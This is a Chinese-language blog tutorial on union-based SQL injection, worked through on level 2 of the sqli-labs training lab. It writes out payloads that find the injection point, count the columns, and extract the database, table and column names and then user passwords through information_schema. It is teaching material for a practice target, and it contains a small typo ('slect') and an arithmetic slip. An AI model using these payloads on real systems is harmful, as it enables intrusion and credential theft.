sql注入之回显注入

之前已经简单介绍了sql注入的基本原理,接下来会按照sql注入的各种类型一一进行梳理,sql注入的常见主要分为回显注入、报错注入、bool盲注、延时注入、堆叠注入、二次注入、宽字节注入、http头注入、DNS LOAD注入。
回显注入需要依靠页面具有数据库查询出内容,使用注入来替换掉本身应该显示的内容来进行攻击的。比如在靶场sqli-labs的第二关中页面查询的内容是通过传入的id=2来控制的
在这里插入图片描述
当id=0时,数据库没有id=0的内容,所以就不返回任何数据
在这里插入图片描述

我们可以看他的后台查询语句
在这里插入图片描述
查询了users表中的所有内容,所以Angelina和L-kill-you是存储在数据库中的内容。以上是简单的分析。

1.接下来进行sql注入的第一步,进行注入点判断。
使用and 1=1和and1=2来判断
在这里插入图片描述
在这里插入图片描述
明显and语句执行了,导致整个sql语句为假,所以这里是一个数字型注入点,不需要进行闭合

2.第二步进行列数的判断,使用order by进行列数判断时,通常使用二分法来提高效率,比如100过大,就减半测试500。,结合页面判断列数不多,猜测4
在这里插入图片描述
4如果过大的话再猜测3,3回显正确
在这里插入图片描述
3.然后将id的值进行修改,修改为数据库中不存在的值,就会将回显的位置腾出来。
(1)联合查询进行回显位的判断
payload: id=0 union select 1,2,3 明显能看出2列和3列的位置有回显内容
在这里插入图片描述
(2)查库名
payload: id=0 union select 1,database(),3
在这里插入图片描述
(3)查表名
id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
其中库information_schema是mysql中自带的一个库,包含其他库的大量信息,通过它来查询其他库的信息,在mysql5.0以上都有
(4)查列名,表名为users
id=0 union slect 1,group_concat(column_name),3 from information_schema.columns where table_name=“users”
(5)查内容,字段名为id,username,password,我们不需要id的内容
id=0 union select 1,group_concat(username),group_concat(password) from security.users
在这里插入图片描述
在内容如果过多可以在语句中加上limit进行限制来逐个输出

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值